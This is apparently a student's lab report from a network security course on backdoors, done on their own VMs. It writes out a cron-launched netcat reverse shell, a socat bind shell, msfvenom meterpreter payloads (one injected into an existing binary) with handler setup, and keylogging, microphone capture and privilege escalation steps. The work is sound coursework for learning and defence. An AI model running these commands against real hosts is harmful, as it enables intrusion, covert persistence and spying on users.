• 2018-2019-2 20165315《网络对抗技术》Exp2 后门原理与实践


    2018-2019-2 20165315《网络对抗技术》Exp2 后门原理与实践

    一、实验任务

    • 使用netcat获取主机操作Shell,cron启动
    • 使用socat获取主机操作Shell, 任务计划启动
    • 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
    • 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
    • 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

    二、实验步骤

    1、使用netcat获取主机操作Shell,cron启动

    在此任务中,我将kali作为受害机,MacOS系统作为攻击机

    • 在Mac终端中监听5315号端口,命令为nc -l 5315

    • 编辑一条定时任务,命令为crontab -e,选择vim.basic编辑器

    • 在编辑器中的最后一行加上06 * * * * /bin/netcat 10.0.0.165 5303 -e /bin/sh,使每个小时的第6分钟反向连接Mac主机的5315端口(我做实验正好是第5分钟,命令中IP地址为攻击机IP)

    • 1分钟后,3点06分时,攻击机获取了受害机的shell操作权,攻击成功

    2、使用socat获取主机操作Shell, 任务计划启动

    socat简介:

    socat是一个多功能的网络工具,名字来由是“ Socket CAT”,可以看作是netcat的N倍加强版。

    socat是一个两个独立数据通道之间的双向数据传输的继电器。这些数据通道包含文件、管道、设备(终端或调制解调器等)、插座(Unix,IP4,IP6 - raw,UDP,TCP)、SSL、SOCKS4客户端或代理CONNECT。socat支持广播和多播、抽象Unix sockets、Linux tun/tap、GNU readline 和 PTY。它提供了分叉、记录和进程间通信的不同模式。

    socat的主要特点就是在两个数据流之间建立通道;且支持众多协议和链接方式:ip,tcp,udp,ipv6,pipe,exec,system,open,proxy,openssl,socket等。

    由于我的主机是MacOS系统,故没有按照老师的指导方法进行操作,具体操作参考自该博客

    此项任务中我将MacOS系统作为受害机,Kali作为攻击机。

    • 在Mac命令行中下载socat,指令为brew install socat

    • 在受害机上执行socat tcp-l:5315 system:bash,pty,stderr指令,进行端口转发

    • 在攻击机中执行socat - tcp:10.1.1.165:5315,获取受害机shell操作权(命令中IP地址为受害机IP)

    3、使用MSF meterpreter生成可执行文件,利用ncat传送到主机并运行获取主机Shell

    Meterpreter简介:

    Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。

    Meterpreter shell作为渗透模块有很多有用的功能,比如打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息等等。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。Meterpreter还可以简化任务创建多个会话。可以来利用这些会话进行渗透。

    由于MacOS系统无法执行exe文件,故此任务我还是用了win7的虚拟机,按照老师的指导方法进行操作。

    此项任务中我将Win7系统作为受害机,Kali作为攻击机。

    • 在Kali上执行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.196.188 LPORT=5315 -f exe > 20165315_backdoor.exe,生成后门程序“20155312_backdoor.exe”(命令中IP地址为攻击机IP)

    • 让受害机进入接收文件模式,指令为ncat -l 5315 > 20165315_backdoor.exe

    • 将生成的后门程序传送到Windows主机上,指令为nc 10.1.1.143 5315 < 20165315_backdoor.exe(命令中IP地址为受害机IP)

    • 在Kali中再打开一个终端,使用msfconsole指令进入msf控制台

    • 依次输入如下指令进行配置:
    # use exploit/multi/handler
    //使用监听模块,设置payload
    
    # set payload windows/meterpreter/reverse_tcp
    //使用和生成后门程序时相同的payload
    
    # set LHOST 192.168.192.188
    //这里用的是LinuxIP,和生成后门程序时指定的IP相同
    
    # set LPORT 5315
    //同样要使用相同的端口
    

    • 输入exploit开始监听

    • 在win7主机中运行后门程序,攻击机获取受害机Shell,指令为20165315_backdoor.exe

    4、使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    • 使用record_mic指令可以截获一段音频

    在当前目录下可找到存储的音频文件:

    • 使用webcam_snap指令可以使用摄像头进行拍照

    由于我的虚拟机是Win7系统,没有摄像功能,而主机又是MacOS系统,找了半天都没找到怎么开启摄像机...但是这个指令我已经明白如何使用,没有截图希望老师谅解~

    • 使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录

    • 先使用getuid指令查看当前用户,使用getsystem指令进行提权,由于是Win7系统,提权失败

    5、使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

    这一项任务还在尝试,如果做出来会有后期更新~

    通过后期的尝试与参考这个博客,任务完成过程如下~

    此项任务中我将Kali的终端1作为受害机,终端2作为攻击机(这是由于Windows系统无法执行pwn1文件)。

    • 通过MSF生成shellcode,并注入20165315pwn1,生成20165315_msf后门程序,指令为msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.196.190 LPORT=5315 -x /root/20165315/exp1/20165315pwn1 -f elf > 20165315_msf

    • 使用msfconsole控制台

    • 在另一个终端中,运行生成的20165315_msf文件,会发现控制台已获取该终端shell权限

    三、实验中遇到的问题

    在做任务三的时候,我本来想像任务二一样,在网上找一下针对mac的攻击教程,但是在运行到msf控制台时,发现执行exploit指令时,由于macOS系统无法执行exe文件,导致kali无法进行攻击(这说明macOS真的安全)

    后来我查到一个博客,可以用msfvenom -p linux/x86/meterpreter/reverse_tcp lhost lport -f elf -o shell指令,虽然文件是生成了,但是...mac还是不能运行这个文件!太安全了导致实验做不了很难受了QAQ

    解决过程:
    大丈夫能屈能伸,我...最后还是选择了Win7虚拟机...如果有大神知道怎么攻击Mac麻烦在评论里指导我一下,蟹蟹!

    四、实验总结

    1、基础问题回答

    (1)例举你能想到的一个后门进入到你系统中的可能方式?

    当朋友的QQ号被盗后,攻击者借QQ号向我发送自动下载恶意后门程序的链接,假称这是投票链接,如果我没有防范意识,直接点击链接,就会自动下载恶意程序,对电脑的安全造成很大的影响。

    (2)例举你知道的后门如何启动起来(win及linux)的方式?

    Windows可以使用任务计划,或者当在运行一个含有绑定后门程序的软件时,后门就可以被开启;linux可以使用cron定时触发,也可以通过对正常软件的绑定注入shellcode达到开启后门的目的

    (3)Meterpreter有哪些给你映像深刻的功能?

    可以通过反向链接,获取所有执行了含后门的可执行文件的主机shell操作权,从而得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息等等。

    (4)如何发现自己有系统有没有被安装后门?

    查看开机自启动项、任务计划程序中是否有可疑程序;安装专门的杀毒软件,实时防护;查看本机端口,判断是否有被异常开放的端口等等。

    2、实验体会

    这次实验趣味性很强,通过学习老师教程以及学长学姐的博客,基本都能够完成实验。在这次实验中,我学会了利用后门程序对主机进行注入攻击,学会了使用netcat、socat、meterpreter等,虽然内容简单,但我已经基本了解后门的基本原理。在今后的学习中,我将会进一步深入研究后门的各种理论知识。

    本次实验也让我更加了解了一些网络攻击的手段,加强了网络安全防范意识。

  • 相关阅读:
    C++ 栈和队列
    epoll 实际使用
    js数组的操作
    nodejs 基本类型和语法
    epoll 简单介绍及例子
    epoll 应用
    linux 查看系统状态方法
    struct stat结构体的详解和用法
    Asp.Net_获取IP地址
    Asp.Net_的传值跟存储值操作
  • 原文地址:https://www.cnblogs.com/yh666/p/10562070.html
Copyright © 2020-2023  润新知